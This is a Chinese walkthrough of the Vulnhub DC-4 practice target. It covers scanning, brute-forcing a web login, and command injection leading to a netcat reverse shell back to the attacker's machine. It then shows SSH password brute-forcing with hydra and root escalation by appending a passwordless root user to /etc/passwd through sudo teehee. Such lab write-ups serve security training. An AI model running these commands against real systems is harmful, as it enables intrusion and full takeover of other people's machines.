Vulnhub靶场 | DC系列 - DC4

DC-4

环境搭建

1. 靶机镜像下载地址：https://vulnhub.com/entry/dc-4,313/
2. 需要将靶机和 kali 攻击机放在同一个局域网里；
3. 本实验kali 的 IP 地址：192.168.10.146。

渗透测试

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

经判断，目标主机IP地址为192.168.10.150。

扫描开放的服务。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.150

查看下端口对应的服务版本。

┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p 22,80  192.168.10.150

尝试搜索OpenSSH和nginx相关的exp，但是貌似没有适合的~

扫一下网站目录，也没有特别的地方~

没办法了，对网站用户名密码爆破一下吧

爆破出来的用户名为admin，密码为happy，成功登录（也许这里真的是需要爆破来突破）。

登录成功

点击“Command”看一看~

发现，里面有三个功能，可以执行3条系统命令：

• ls -l
• du -h
• df -h

抓个包，看看能不能修改执行的系统命令。

这里确实可以修改~

换成其他命令执行看看~可以正常返回结果~

开始写马~使用nc建立反弹连接

nc+192.168.10.146+4444+-e+/bin/bash

成功建立反弹连接

使用python获得下交互shell

python -c "import pty; pty.spawn('/bin/bash');"

接下来提权。

收集一下版本信息~

www-data@dc-4:/usr/share/nginx/html$ uname -a
www-data@dc-4:/usr/share/nginx/html$ cat /proc/version
...

搜了下相关内核漏洞提权脚本，没有~

搜一搜设置了SUID的文件：

www-data@dc-4:/usr/share/nginx/html$ find / -perm -u=s 2>/dev/null

貌似没有可以提权的命令.

查看下有哪些用户：

发现有三个用户：charles、jim、sam

查看了下，charles、sam的家目录下没有什么东西。

jim家目录下有两个文件，一个目录。

mbox没有权限访问，backups中有个旧密码备份？

/home/jim/backups/old-passwords.bak

拿这个密码爆破一下吧~

┌──(root💀kali)-[~/桌面]
└─# hydra -l jim -P ./ps.txt 192.168.10.150 ssh

结果如下

jim的密码是jibril04。成功登录~

看一下jim的sudo授权，并没有可利用的~

看一下mbox，有权限查看，是一封邮件。

有邮件，说明该系统时候邮件系统的，查看一下邮件

查看邮件jim，是charles发来的一封邮件，告诉了jim密码：^xHhA&hvim0y

使用该密码切换到charles

先看一下有没有sudo授权

发现，可以无密码执行/usr/bin/teehee

teehee命令可以往一个文件追加内容，可以通过它向/etc/passwd写入内容，新增一个超级用户

向passwd文件中追加一个超级用户。

charles@dc-4:~$ echo "hack::0:0:::/bin/bash" | sudo teehee -a  /etc/passwd

切换到hack用户。

成功拿到flag。

🔗Reference：DC-4

• https://blog.csdn.net/qq_15131581/article/details/127663366